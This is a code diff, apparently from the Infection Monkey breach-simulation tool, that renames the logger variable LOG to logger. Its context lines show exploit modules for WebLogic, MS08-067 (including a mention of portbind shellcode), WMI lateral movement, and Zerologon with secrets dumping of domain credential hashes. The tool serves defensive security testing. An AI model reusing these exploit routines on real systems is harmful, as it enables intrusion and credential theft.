||||
return False
|
||||
except KeyError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
|
||||
"initialize "
|
||||
"custom dict of monkey's destination paths"
|
||||
|
@ -535,7 +535,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
# Determine which destination path to use
|
||||
dest_path = self.get_monkey_upload_path(src_path)
|
||||
|
@ -552,7 +552,7 @@ class WebRCE(HostExploiter):
|
|||
if not self.host.os.get("type") or (
|
||||
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
|
||||
):
|
||||
LOG.error("Target's OS was either unidentified or not supported. Aborting")
|
||||
logger.error("Target's OS was either unidentified or not supported. Aborting")
|
||||
return False
|
||||
if self.host.os["type"] == "linux":
|
||||
return self._config.dropper_target_path_linux
|
||||
|
@ -561,7 +561,7 @@ class WebRCE(HostExploiter):
|
|||
if self.host.os["machine"] == WIN_ARCH_64:
|
||||
return self._config.dropper_target_path_win_64
|
||||
except KeyError:
|
||||
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||
return self._config.dropper_target_path_win_32
|
||||
|
||||
def get_target_url(self):
|
||||
|
|
|
@ -11,7 +11,7 @@ from infection_monkey.exploit.web_rce import WebRCE
|
|||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
# How long server waits for get request in seconds
|
||||
SERVER_TIMEOUT = 4
|
||||
# How long should we wait after each request in seconds
|
||||
|
@ -85,7 +85,7 @@ class WebLogic201710271(WebRCE):
|
|||
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
|
||||
)
|
||||
except Exception as e:
|
||||
LOG.error("Connection error: %s" % e)
|
||||
logger.error("Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -112,7 +112,7 @@ class WebLogic201710271(WebRCE):
|
|||
self.vulnerable_urls.extend(urls)
|
||||
self.exploit_info["vulnerable_urls"] = self.vulnerable_urls
|
||||
else:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
logger.info("No vulnerable urls found, skipping.")
|
||||
|
||||
self._stop_http_server(httpd, lock)
|
||||
|
||||
|
@ -126,7 +126,7 @@ class WebLogic201710271(WebRCE):
|
|||
# Our request will not get response thus we get ReadTimeout error
|
||||
pass
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong: %s" % e)
|
||||
logger.error("Something went wrong: %s" % e)
|
||||
return httpd.get_requests > 0
|
||||
|
||||
def _start_http_server(self):
|
||||
|
@ -234,10 +234,10 @@ class WebLogic201710271(WebRCE):
|
|||
class S(BaseHTTPRequestHandler):
|
||||
@staticmethod
|
||||
def do_GET():
|
||||
LOG.info("Server received a request from vulnerable machine")
|
||||
logger.info("Server received a request from vulnerable machine")
|
||||
self.get_requests += 1
|
||||
|
||||
LOG.info("Server waiting for exploited machine request...")
|
||||
logger.info("Server waiting for exploited machine request...")
|
||||
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
||||
httpd.daemon = True
|
||||
self.lock.release()
|
||||
|
@ -286,7 +286,7 @@ class WebLogic20192725(WebRCE):
|
|||
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
|
||||
return resp
|
||||
except Exception as e:
|
||||
LOG.error("Connection error: %s" % e)
|
||||
logger.error("Connection error: %s" % e)
|
||||
return False
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
|
|
|
@ -24,7 +24,7 @@ from infection_monkey.network.tools import check_tcp_port
|
|||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.random_password_generator import get_random_password
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
logger = getLogger(__name__)
|
||||
|
||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||
OBFUSCATED_SHELLCODE = (
|
||||
|
@ -140,11 +140,11 @@ class SRVSVC_Exploit(object):
|
|||
|
||||
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
|
||||
|
||||
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
|
||||
logger.debug("Initiating exploit connection (%s)", target_rpc_name)
|
||||
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
|
||||
self._trans.connect()
|
||||
|
||||
LOG.debug("Connected to %s", target_rpc_name)
|
||||
logger.debug("Connected to %s", target_rpc_name)
|
||||
|
||||
self._dce = self._trans.DCERPC_class(self._trans)
|
||||
self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0")))
|
||||
|
@ -152,8 +152,8 @@ class SRVSVC_Exploit(object):
|
|||
dce_packet = self._build_dce_packet()
|
||||
self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
|
||||
|
||||
LOG.debug("Exploit sent to %s successfully...", self._target)
|
||||
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||
logger.debug("Exploit sent to %s successfully...", self._target)
|
||||
logger.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||
|
||||
sock = socket.socket()
|
||||
sock.connect((self._target, self.get_telnet_port()))
|
||||
|
@ -220,7 +220,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
os_version = self._windows_versions.get(
|
||||
|
@ -246,15 +246,15 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
time.sleep(2)
|
||||
sock.recv(1000)
|
||||
|
||||
LOG.debug("Exploited into %r using MS08-067", self.host)
|
||||
logger.debug("Exploited into %r using MS08-067", self.host)
|
||||
exploited = True
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
|
||||
logger.debug("Error exploiting victim %r: (%s)", self.host, exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter MS08-067 is giving up...")
|
||||
logger.debug("Exploiter MS08-067 is giving up...")
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
|
@ -303,7 +303,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
sock.send(("start %s\r\n" % (cmdline,)).encode())
|
||||
sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
|
||||
except Exception as exc:
|
||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
|
||||
logger.debug(
|
||||
"Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc
|
||||
)
|
||||
return True
|
||||
finally:
|
||||
try:
|
||||
|
@ -311,7 +313,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
|||
except socket.error:
|
||||
pass
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path,
|
||||
self.host,
|
||||
|
|
|
@ -13,7 +13,7 @@ from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiT
|
|||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WmiExploiter(HostExploiter):
|
||||
|
@ -30,7 +30,7 @@ class WmiExploiter(HostExploiter):
|
|||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
@ -43,7 +43,9 @@ class WmiExploiter(HostExploiter):
|
|||
"user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): "
|
||||
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed)
|
||||
)
|
||||
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
||||
logger.debug(
|
||||
("Attempting to connect %r using WMI with " % self.host) + creds_for_logging
|
||||
)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
||||
|
@ -51,23 +53,23 @@ class WmiExploiter(HostExploiter):
|
|||
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
|
||||
except AccessDeniedException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
||||
)
|
||||
continue
|
||||
except DCERPCException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
||||
)
|
||||
continue
|
||||
except socket.error:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Network error in WMI connection to %r with " % self.host) + creds_for_logging
|
||||
)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
("Unknown WMI connection error to %r with " % self.host)
|
||||
+ creds_for_logging
|
||||
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
|
||||
|
@ -86,7 +88,7 @@ class WmiExploiter(HostExploiter):
|
|||
if process_list:
|
||||
wmi_connection.close()
|
||||
|
||||
LOG.debug("Skipping %r - already infected", self.host)
|
||||
logger.debug("Skipping %r - already infected", self.host)
|
||||
return False
|
||||
|
||||
# copy the file remotely using SMB
|
||||
|
@ -127,7 +129,7 @@ class WmiExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
if (0 != result.ProcessId) and (not result.ReturnValue):
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
|
||||
remote_full_path,
|
||||
self.host,
|
||||
|
@ -138,7 +140,7 @@ class WmiExploiter(HostExploiter):
|
|||
self.add_vuln_port(port="unknown")
|
||||
success = True
|
||||
else:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
|
||||
"cmdline=%r)",
|
||||
remote_full_path,
|
||||
|
|
|
@ -23,7 +23,7 @@ from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_deta
|
|||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
|
@ -50,16 +50,16 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
can_exploit, rpc_con = is_exploitable(self)
|
||||
if can_exploit:
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
logger.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
# Start exploiting attempts.
|
||||
LOG.debug("Attempting exploit.")
|
||||
logger.debug("Attempting exploit.")
|
||||
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
|
||||
|
||||
rpc_con.disconnect()
|
||||
|
||||
else:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
"Exploit not attempted. Target is most likely patched, or an error was "
|
||||
"encountered."
|
||||
)
|
||||
|
@ -70,12 +70,12 @@ class ZerologonExploiter(HostExploiter):
|
|||
if self.restore_password():
|
||||
self.exploit_info["password_restored"] = True
|
||||
self.store_extracted_creds_for_exploitation()
|
||||
LOG.info("System exploited and password restored successfully.")
|
||||
logger.info("System exploited and password restored successfully.")
|
||||
else:
|
||||
self.exploit_info["password_restored"] = False
|
||||
LOG.info("System exploited but couldn't restore password!")
|
||||
logger.info("System exploited but couldn't restore password!")
|
||||
else:
|
||||
LOG.info("System was not exploited.")
|
||||
logger.info("System was not exploited.")
|
||||
|
||||
return _exploited
|
||||
|
||||
|
@ -105,9 +105,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
logger.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
logger.info(f"Unexpected error: {e}")
|
||||
|
||||
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
|
@ -133,11 +133,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
if exploit_attempt_result["ErrorCode"] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
logger.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something "
|
||||
f"went wrong."
|
||||
)
|
||||
|
@ -146,19 +146,19 @@ class ZerologonExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
def restore_password(self) -> bool:
|
||||
LOG.info("Restoring original password...")
|
||||
logger.info("Restoring original password...")
|
||||
|
||||
try:
|
||||
rpc_con = None
|
||||
|
||||
# DCSync to get usernames and their passwords' hashes.
|
||||
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||
logger.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||
user_creds = self.get_all_user_creds()
|
||||
if not user_creds:
|
||||
raise Exception("Couldn't extract any usernames and/or their passwords' hashes.")
|
||||
|
||||
# Use above extracted credentials to get original DC password's hashes.
|
||||
LOG.debug("Getting original DC password's NT hash.")
|
||||
logger.debug("Getting original DC password's NT hash.")
|
||||
original_pwd_nthash = None
|
||||
for user_details in user_creds:
|
||||
username = user_details[0]
|
||||
|
@ -171,7 +171,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
if original_pwd_nthash:
|
||||
break
|
||||
except Exception as e:
|
||||
LOG.info(f"Credentials didn't work. Exception: {str(e)}")
|
||||
logger.info(f"Credentials didn't work. Exception: {str(e)}")
|
||||
|
||||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||
|
@ -180,11 +180,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
try:
|
||||
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
logger.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False
|
||||
|
||||
# Start restoration attempts.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
logger.debug("Attempting password restoration.")
|
||||
_restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
|
||||
if not _restored:
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
|
@ -192,7 +192,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return _restored
|
||||
|
||||
except Exception as e:
|
||||
LOG.error(e)
|
||||
logger.error(e)
|
||||
return False
|
||||
|
||||
finally:
|
||||
|
@ -229,7 +229,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return creds_to_use_for_getting_original_pwd_hashes
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Exception occurred while dumping secrets to get some username and its "
|
||||
f"password's NT hash: {str(e)}"
|
||||
)
|
||||
|
@ -319,7 +319,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return nthash
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Exception occurred while dumping secrets to get original DC password's NT "
|
||||
f"hash: {str(e)}"
|
||||
)
|
||||
|
@ -328,7 +328,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Starting remote shell on victim with credentials:\n"
|
||||
f"user: {username}\n"
|
||||
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
|
||||
|
@ -368,11 +368,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
return True
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occured: {str(e)}")
|
||||
logger.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
logger.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
@ -385,7 +385,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
logger.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
|
||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
|
@ -407,9 +407,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
logger.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
logger.info(f"Unexpected error: {e}")
|
||||
|
||||
return False
|
||||
|
||||
|
@ -459,13 +459,13 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con.request(request)
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
logger.info(f"Unexpected error: {e}")
|
||||
|
||||
return rpc_con
|
||||
|
||||
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
|
||||
if restoration_attempt_result:
|
||||
LOG.debug("DC machine account password should be restored to its original value.")
|
||||
logger.debug("DC machine account password should be restored to its original value.")
|
||||
return True
|
||||
|
||||
return False
|
||||
|
|
|
@ -58,7 +58,7 @@ from impacket.smbconnection import SMBConnection
|
|||
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||
|
@ -137,7 +137,7 @@ class DumpSecrets:
|
|||
# target system. We just have a last resort. Hope we have tickets
|
||||
# cached and that they
|
||||
# will work
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
||||
% str(e)
|
||||
)
|
||||
|
@ -168,12 +168,12 @@ class DumpSecrets:
|
|||
# something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs
|
||||
# different to cifs/.
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Policy SPN target name validation might be restricting full "
|
||||
"DRSUAPI dump." + "Try -just-dc-user"
|
||||
)
|
||||
else:
|
||||
LOG.error("RemoteOperations failed: %s" % str(e))
|
||||
logger.error("RemoteOperations failed: %s" % str(e))
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if (
|
||||
|
@ -192,7 +192,7 @@ class DumpSecrets:
|
|||
)
|
||||
self.__SAM_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.error("SAM hashes extraction failed: %s" % str(e))
|
||||
logger.error("SAM hashes extraction failed: %s" % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
|
@ -209,8 +209,8 @@ class DumpSecrets:
|
|||
self.__LSA_secrets.dumpCachedHashes()
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error("LSA hashes extraction failed: %s" % str(e))
|
||||
logger.debug(traceback.print_exc())
|
||||
logger.error("LSA hashes extraction failed: %s" % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might
|
||||
# still work.
|
||||
|
@ -234,7 +234,7 @@ class DumpSecrets:
|
|||
try:
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
logger.debug(traceback.print_exc())
|
||||
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
|
||||
# We don't store the resume file if this error happened, since this error
|
||||
# is related to lack
|
||||
|
@ -242,16 +242,16 @@ class DumpSecrets:
|
|||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
logger.error(e)
|
||||
if self.__use_VSS_method is False:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Something wen't wrong with the DRSUAPI approach. Try again with "
|
||||
"-use-vss parameter"
|
||||
)
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
logger.debug(traceback.print_exc())
|
||||
logger.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
|
@ -268,7 +268,7 @@ class DumpSecrets:
|
|||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
LOG.debug("Cleaning up...")
|
||||
logger.debug("Cleaning up...")
|
||||
if self.__remote_ops:
|
||||
self.__remote_ops.finish()
|
||||
if self.__SAM_hashes:
|
||||
|
|
|
@ -50,7 +50,7 @@ import os
|
|||
import sys
|
||||
import time
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
|
@ -86,11 +86,11 @@ class RemoteShell(cmd.Cmd):
|
|||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
|
||||
fh = open(local_file_path, "wb")
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
logger.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||
fh.close()
|
||||
except Exception as e:
|
||||
LOG.error(str(e))
|
||||
logger.error(str(e))
|
||||
if os.path.exists(local_file_path):
|
||||
os.remove(local_file_path)
|
||||
|
||||
|
@ -134,7 +134,7 @@ class RemoteShell(cmd.Cmd):
|
|||
try:
|
||||
self.__outputBuffer += data.decode(self.CODEC)
|
||||
except UnicodeDecodeError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Decoding error detected, consider running chcp.com at the target,"
|
||||
"\nmap the result with "
|
||||
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
|
||||
|
@ -157,7 +157,7 @@ class RemoteShell(cmd.Cmd):
|
|||
time.sleep(1)
|
||||
elif str(e).find("Broken") >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting.
|
||||
LOG.debug("Connection broken, trying to recreate it")
|
||||
logger.debug("Connection broken, trying to recreate it")
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
|
|
@ -7,7 +7,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt
|
|||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||
from common.utils.exceptions import DomainControllerNameFetchError
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_dc_details(host: object) -> (str, str, str):
|
||||
|
@ -39,7 +39,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
|
|||
try:
|
||||
rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
logger.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False, None
|
||||
|
||||
# Try authenticating.
|
||||
|
@ -49,7 +49,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
|
|||
if rpc_con_auth_result is not None:
|
||||
return True, rpc_con_auth_result
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
logger.info(ex)
|
||||
return False, None
|
||||
|
||||
return False, None
|
||||
|
|
|
@ -53,7 +53,7 @@ from impacket.smbconnection import SMBConnection
|
|||
|
||||
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
|
@ -102,7 +102,7 @@ class Wmiexec:
|
|||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
logger.error(str(e))
|
||||
self.smbConnection.logoff()
|
||||
self.dcom.disconnect()
|
||||
|
||||
|
|
|
@ -18,7 +18,7 @@ from infection_monkey.model import DROPPER_ARG, MONKEY_ARG
|
|||
from infection_monkey.monkey import InfectionMonkey
|
||||
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
|
||||
|
||||
LOG = None
|
||||
logger = None
|
||||
|
||||
LOG_CONFIG = {
|
||||
"version": 1,
|
||||
|
@ -43,7 +43,7 @@ LOG_CONFIG = {
|
|||
|
||||
|
||||
def main():
|
||||
global LOG
|
||||
global logger
|
||||
|
||||
if 2 > len(sys.argv):
|
||||
return True
|
||||
|
@ -116,19 +116,19 @@ def main():
|
|||
del LOG_CONFIG["handlers"]["file"]
|
||||
|
||||
logging.config.dictConfig(LOG_CONFIG)
|
||||
LOG = logging.getLogger()
|
||||
logger = logging.getLogger()
|
||||
|
||||
def log_uncaught_exceptions(ex_cls, ex, tb):
|
||||
LOG.critical("".join(traceback.format_tb(tb)))
|
||||
LOG.critical("{0}: {1}".format(ex_cls, ex))
|
||||
logger.critical("".join(traceback.format_tb(tb)))
|
||||
logger.critical("{0}: {1}".format(ex_cls, ex))
|
||||
|
||||
sys.excepthook = log_uncaught_exceptions
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()
|
||||
)
|
||||
|
||||
LOG.info(f"version: {get_version()}")
|
||||
logger.info(f"version: {get_version()}")
|
||||
|
||||
monkey = monkey_cls(monkey_args)
|
||||
monkey.initialize()
|
||||
|
@ -150,7 +150,7 @@ def main():
|
|||
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
|
||||
logger.exception("Exception thrown from monkey's start function. More info: {}".format(e))
|
||||
finally:
|
||||
monkey.cleanup()
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
|
|||
MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase."
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class InfectionMonkey(object):
|
||||
|
@ -66,7 +66,7 @@ class InfectionMonkey(object):
|
|||
self._post_breach_phase = None
|
||||
|
||||
def initialize(self):
|
||||
LOG.info("Monkey is initializing...")
|
||||
logger.info("Monkey is initializing...")
|
||||
|
||||
if not self._singleton.try_lock():
|
||||
raise Exception("Another instance of the monkey is already running")
|
||||
|
@ -87,26 +87,26 @@ class InfectionMonkey(object):
|
|||
if self._opts.depth is not None:
|
||||
WormConfiguration._depth_from_commandline = True
|
||||
WormConfiguration.depth = self._opts.depth
|
||||
LOG.debug("Setting propagation depth from command line")
|
||||
LOG.debug(f"Set propagation depth to {WormConfiguration.depth}")
|
||||
logger.debug("Setting propagation depth from command line")
|
||||
logger.debug(f"Set propagation depth to {WormConfiguration.depth}")
|
||||
|
||||
self._keep_running = True
|
||||
self._network = NetworkScanner()
|
||||
|
||||
if self._default_server:
|
||||
if self._default_server not in WormConfiguration.command_servers:
|
||||
LOG.debug("Added default server: %s" % self._default_server)
|
||||
logger.debug("Added default server: %s" % self._default_server)
|
||||
WormConfiguration.command_servers.insert(0, self._default_server)
|
||||
else:
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"Default server: %s is already in command servers list" % self._default_server
|
||||
)
|
||||
|
||||
